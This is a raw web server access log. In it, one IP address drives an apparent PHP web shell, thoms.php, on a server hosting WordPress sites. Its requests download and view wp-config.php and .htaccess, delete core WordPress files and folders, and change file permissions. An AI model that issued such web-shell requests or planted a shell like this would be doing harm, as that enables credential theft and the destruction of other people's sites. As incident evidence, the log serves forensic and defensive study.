45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=bossini.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=wp-content HTTP/1.1" 200 11366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21273 "https://163.245.207.76/thoms.php?copy=upgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=upgrade HTTP/1.1" 200 11346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=upgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?del=wp-content&p=bioway88.com.tw HTTP/1.1" 200 17701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?chmod=error_log&p=bioway88.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21282 "https://163.245.207.76/thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 17712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?chmod=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Findex.php&p=bioway88.com.tw HTTP/1.1" 200 11501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?dl=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 11511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?dl=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /bioway88.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-signup.php HTTP/1.1" 200 22519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?dl=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?del=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?chmod=partial-filter&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?del=partial-filter&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /thoms.php?del=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:01 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18478 "https://163.245.207.76/bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&settings=1 HTTP/1.1" 200 11882 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Ferror_log&p=bioway88.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Freadme.html&p=bioway88.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=wp-admin&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2F.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-config.php HTTP/1.1" 200 13728 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2F.well-known&p= HTTP/1.1" 200 12201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=member-suspended&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=.htaccess HTTP/1.1" 200 12722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-cron.php HTTP/1.1" 200 14184 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?chmod=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=index.php HTTP/1.1" 200 12061 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=error_log&p=bioway88.com.tw HTTP/1.1" 200 17698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?dl=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-config.php&p=bioway88.com.tw HTTP/1.1" 200 11497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?dl=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=locoy.php HTTP/1.1" 200 12950 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?dl=license.txt&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=mah.php&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 11506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Flicense.txt&p=bioway88.com.tw HTTP/1.1" 200 11495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-activate.php HTTP/1.1" 200 14814 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?del=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 14171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:02 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?chmod=upgrade&p=bioway88.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?chmod=mah.php&p=bioway88.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fthoms.php&p=bioway88.com.tw HTTP/1.1" 200 11495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-trackback.php HTTP/1.1" 200 14089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw&view=xmlrpc.php HTTP/1.1" 200 13375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fmember-suspended&p= HTTP/1.1" 200 12201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fmah.php&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?del=upgrade&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?dl=readme.html&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?dl=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?dl=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 17709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?chmod=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?del=.well-known&p=bioway88.com.tw HTTP/1.1" 200 17708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-content&p= HTTP/1.1" 200 12189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 11506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw&view=mah.php HTTP/1.1" 200 11805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 11510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?dl=error_log&p=bioway88.com.tw HTTP/1.1" 200 17707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28857 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 17705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 17705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?dl=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 17704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?del=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 17706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=readme.html&p=bioway88.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:04 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-load.php&p=bioway88.com.tw HTTP/1.1" 200 11507 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
